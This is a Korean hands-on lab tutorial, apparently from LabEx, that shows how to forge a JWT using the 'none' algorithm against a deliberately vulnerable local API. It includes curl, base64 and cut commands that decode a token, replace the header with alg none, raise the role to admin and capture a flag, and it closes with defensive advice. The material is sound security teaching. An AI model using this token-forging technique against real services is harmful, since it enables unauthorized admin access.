소개

JSON Web Token(JWT) 은 클라이언트와 서버 간에 보안 정보를 공유하기 위해 사용되는 개방형 표준입니다. 각 JWT 는 일련의 클레임 (claims) 을 포함하는 인코딩된 JSON 객체로 구성됩니다. JWT 는 토큰이 발행된 후 클레임이 변경되지 않도록 암호화 알고리즘을 사용하여 서명됩니다.

여기서 초보자가 알아야 할 가장 중요한 점은 JWT 의 내용은 일반적으로 암호화된 것이 아니라 인코딩된 것이라는 사실입니다. 토큰을 가진 사람은 누구나 클레임을 읽을 수 있습니다. 보안 속성은 비밀성이 아니라 서명 검증에서 나옵니다.

그러나 JWT 라이브러리를 잘못 구현하면 심각한 보안 취약점이 발생할 수 있습니다. 가장 악명 높은 취약점 중 하나가 바로 "None" 알고리즘 공격입니다. 서버가 none 알고리즘을 지원하는 경우, 공격자는 토큰의 페이로드를 수정 (예: 사용자 역할을 'admin'으로 변경) 하고, 알고리즘을 none으로 설정한 뒤 서명을 제거할 수 있습니다. 그러면 서버는 위조된 토큰을 유효한 것으로 받아들입니다.

이 실습에서는 취약한 로컬 API 와 상호 작용합니다. JWT 를 추출하고, Base64Url 구조를 디코딩하며, 페이로드를 조작하여 권한을 상승시키고, 'none' 알고리즘 취약점을 악용하여 승인되지 않은 관리자 권한을 획득하는 방법을 배웁니다.

JWT 가로채기 및 추출

이 단계에서는 로컬 머신에서 실행 중인 로컬 API 서버와 상호 작용합니다. 이 서버에는 일반 사용자를 위한 JSON Web Token(JWT) 을 발행하는 로그인 엔드포인트가 있습니다. 첫 번째 작업은 이 토큰을 요청하고 분석을 위해 저장하는 것입니다.

JWT 는 일반적으로 HTTP Authorization 헤더에 Bearer 토큰으로 전송되지만, 초기에는 인증 성공 시 클라이언트에게 제공됩니다. curl 명령줄 도구를 사용하여 로그인 요청을 시뮬레이션하겠습니다.

터미널에서 다음 명령을 실행하여 로그인 엔드포인트에 액세스합니다.

curl -s http://127.0.0.1:5000/api/login

두 개의 마침표 (.) 로 구분된 긴 문자열이 포함된 JSON 응답이 표시될 것입니다. 이 문자열이 바로 JWT 입니다.

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

이후 단계에서 토큰을 더 쉽게 다루기 위해 토큰 문자열만 추출하여 token.txt라는 파일에 저장하겠습니다. grep과 정규식을 사용하여 JSON 출력을 파싱할 수 있습니다.

다음 명령을 실행하여 토큰을 저장합니다.

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

파일 내용을 표시하여 토큰이 올바르게 저장되었는지 확인할 수 있습니다.

cat token.txt

다음 단계에서 토큰 구조를 분석할 것이므로 이 토큰을 잘 보관해 두세요.

JWT 구조 디코딩

이 단계에서는 JWT 를 핵심 구성 요소로 분해하고 디코딩하여 포함된 정보를 이해합니다.

표준 JWT 는 마침표 (.) 로 구분된 세 부분으로 구성됩니다. 첫 번째 부분은 헤더 (Header) 로, 사용 중인 서명 알고리즘 (예: HS256) 과 같은 토큰에 대한 메타데이터를 포함합니다. 두 번째 부분은 페이로드 (Payload) 로, 사용자 이름, 역할, 만료 시간과 같은 실제 클레임이나 데이터를 포함합니다. 마지막 부분은 서명 (Signature) 으로, JWT 발신자가 누구인지 확인하고 메시지가 중간에 변경되지 않았음을 보장하는 데 사용됩니다.

이러한 구분은 중요합니다. 많은 JWT 공격이 어떤 부분을 안전하게 변경할 수 있고 어떤 부분을 암호화 방식으로 보호해야 하는지에 대한 혼동을 노리기 때문입니다.

헤더와 페이로드는 Base64Url 인코딩을 사용합니다. 즉, 암호화된 것이 아니므로 토큰을 가로채는 사람은 누구나 쉽게 디코딩하여 내용을 읽을 수 있습니다.

그렇기 때문에 민감한 권한 결정은 클레임이 숨겨져 있다는 사실에 의존해서는 안 됩니다. 반드시 서명이 올바르게 검증되는지에 의존해야 합니다.

먼저 토큰을 헤더와 페이로드 구성 요소로 분리하여 별도의 파일에 저장하겠습니다. cut 명령을 사용하여 . 구분 기호로 문자열을 분리합니다. JWT 에서 마침표 문자는 세 섹션을 구분하므로, cut은 특별한 JWT 도구 없이도 토큰을 빠르게 분리할 수 있는 방법입니다.

## 첫 번째 부분(헤더) 추출
cat token.txt | cut -d '.' -f 1 > header.b64

## 두 번째 부분(페이로드) 추출
cat token.txt | cut -d '.' -f 2 > payload.b64

이제 헤더를 디코딩해 보겠습니다. Base64Url 인코딩은 때때로 끝에 있는 패딩 문자 (=) 를 생략하므로, 표준 Base64 디코딩 도구에서 오류가 발생할 수 있습니다. 현재 헤더는 길이가 완벽하게 정렬되어 있으므로 base64 -d 명령을 사용하여 직접 디코딩할 수 있습니다.

cat header.b64 | base64 -d

토큰이 HS256 알고리즘을 사용함을 나타내는 다음과 유사한 출력이 표시될 것입니다.

{"alg":"HS256","typ":"JWT"}

다음으로 페이로드를 디코딩해 보겠습니다. 페이로드 문자열은 표준 base64 유틸리티로 성공적으로 디코딩하기 위해 패딩이 필요할 수 있습니다. ==를 추가하여 올바르게 디코딩되도록 합니다.

echo "$(cat payload.b64)==" | base64 -d

출력 결과는 토큰 내부의 클레임을 보여줍니다.

{"username":"guest","role":"user"}

현재 역할이 user로 설정되어 있음을 확인하세요. 이 토큰으로 /api/admin 엔드포인트에 액세스하려고 하면 액세스가 거부됩니다. 다음 명령을 실행하여 테스트할 수 있습니다.

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

서버는 액세스 거부 오류를 반환할 것입니다. 다음 단계에서는 디코딩된 부분을 조작하여 이 제한을 우회하겠습니다.

'None' 알고리즘 악용

이 단계에서는 none 알고리즘 취약점을 악용하기 위해 JWT 헤더를 수정하여 공격의 첫 번째 부분을 준비합니다.

서버가 JWT 를 검증할 때, 헤더의 alg(알고리즘) 필드를 확인하여 서명을 생성하는 데 어떤 암호화 알고리즘이 사용되었는지 파악합니다. 일부 잘못 구성된 JWT 라이브러리는 none이라는 알고리즘을 지원합니다. 공격자가 alg 필드를 none으로 변경하면, 서버가 서명 검증 과정을 완전히 건너뛸 수 있습니다. 이를 통해 공격자는 유효한 서명을 생성하기 위한 서버의 비밀 키 없이도 페이로드를 수정할 수 있습니다.

none 알고리즘을 지정하는 새로운 JSON 헤더를 생성해 보겠습니다.

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

이제 이 새로운 JSON 문자열을 다시 Base64Url 형식으로 인코딩해야 합니다. Base64Url 은 표준 Base64 와 약간 다릅니다. 끝의 = 패딩 문자를 제거하고, +를 -로, /를 _로 바꿉니다.

표준 Linux 명령 조합을 사용하여 이 인코딩을 수행할 수 있습니다. 초기 인코딩에는 base64를 사용하고, 특정 문자를 변환하거나 삭제하는 데는 tr을 사용합니다.

다음 명령을 실행하여 새 헤더를 인코딩합니다.

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

새로 인코딩된 헤더의 내용을 확인해 보겠습니다.

cat new_header.b64

다음과 같은 Base64Url 문자열이 표시되어야 합니다.

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

이 문자열은 우리의 악성 헤더를 나타냅니다. 이 헤더를 사용함으로써 취약한 API 서버에 토큰의 서명을 검증하지 말라고 지시하는 것입니다.

페이로드 클레임 수정 (관리자 역할)

마지막 단계에서는 JWT 페이로드를 수정하여 권한을 상승시키고, 위조된 토큰을 조립한 뒤 이를 사용하여 제한된 관리자 엔드포인트에 액세스합니다.

앞서 페이로드에 "role":"user"가 포함되어 있음을 확인했습니다. 이를 "role":"admin"으로 변경하고자 합니다.

먼저 수정된 페이로드가 포함된 새 JSON 파일을 생성합니다.

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

다음으로 헤더와 마찬가지로 이 새로운 페이로드를 Base64Url 형식으로 인코딩해야 합니다. 동일한 base64 및 tr 명령 조합을 사용합니다.

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

다음 명령을 실행하여 인코딩된 페이로드를 확인할 수 있습니다.

cat new_payload.b64

이제 악성 헤더 (new_header.b64) 와 권한이 상승된 페이로드 (new_payload.b64) 가 준비되었습니다. 마지막 단계는 최종 JWT 를 구성하는 것입니다.

JWT 형식은 Header.Payload.Signature임을 기억하세요. none 알고리즘을 사용하므로 서명은 없습니다. 그러나 서버는 여전히 토큰이 마침표로 구분된 세 부분으로 구성되기를 기대합니다. 따라서 위조된 토큰은 Header.Payload. 형태가 됩니다. 서명 부분이 비어 있더라도 토큰이 예상되는 3 부분 구조를 유지하도록 하기 위해 마지막 마침표가 중요합니다.

위조된 토큰을 조립하여 파일에 저장합니다.

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

토큰이 올바르게 구성되었는지 확인합니다.

cat forged_token.txt

마지막으로 공격을 테스트할 시간입니다. Authorization 헤더에 위조된 토큰을 전달하여 제한된 /api/admin 엔드포인트에 요청을 보냅니다.

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

공격이 성공하면 서버는 none 알고리즘을 수락하고, 서명 확인을 건너뛰며, 사용자의 역할을 admin으로 읽어 액세스 권한을 부여합니다. 비밀 플래그가 포함된 성공 메시지가 표시될 것입니다!

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

요약

축하합니다! JWT 조작 기초 실습을 성공적으로 완료했습니다.

이 실습을 통해 다음 내용을 배웠습니다.

  • API 응답에서 JSON Web Token 을 가로채고 추출하는 방법.
  • JWT 의 구조를 분석하고 Base64Url 로 인코딩된 헤더와 페이로드를 디코딩하는 방법.
  • 'none' 알고리즘 취약점이 가지는 심각한 보안 영향 이해.
  • 페이로드 클레임을 변경하고 서명 검증을 우회하여 권한 상승을 달성하는 악성 JWT 를 수동으로 제작하는 방법.

이러한 기술은 API 보안을 이해하고 모의 해킹이나 보안 감사 중에 인증 결함을 식별하는 데 필수적입니다. 이 실습에서는 알고리즘을 none으로 설정하여 취약한 검증 모드를 악용했습니다. 다른 시나리오에서는 공격자가 실제 서명 비밀을 알아내어 자신만의 유효한 토큰을 생성함으로써 유사한 결과를 얻을 수도 있습니다. 애플리케이션이 항상 엄격한 알고리즘 검증을 수행하고, 서명 비밀을 신중하게 보호하며, 프로덕션 환경에서는 절대 none 알고리즘을 허용하지 않도록 하십시오.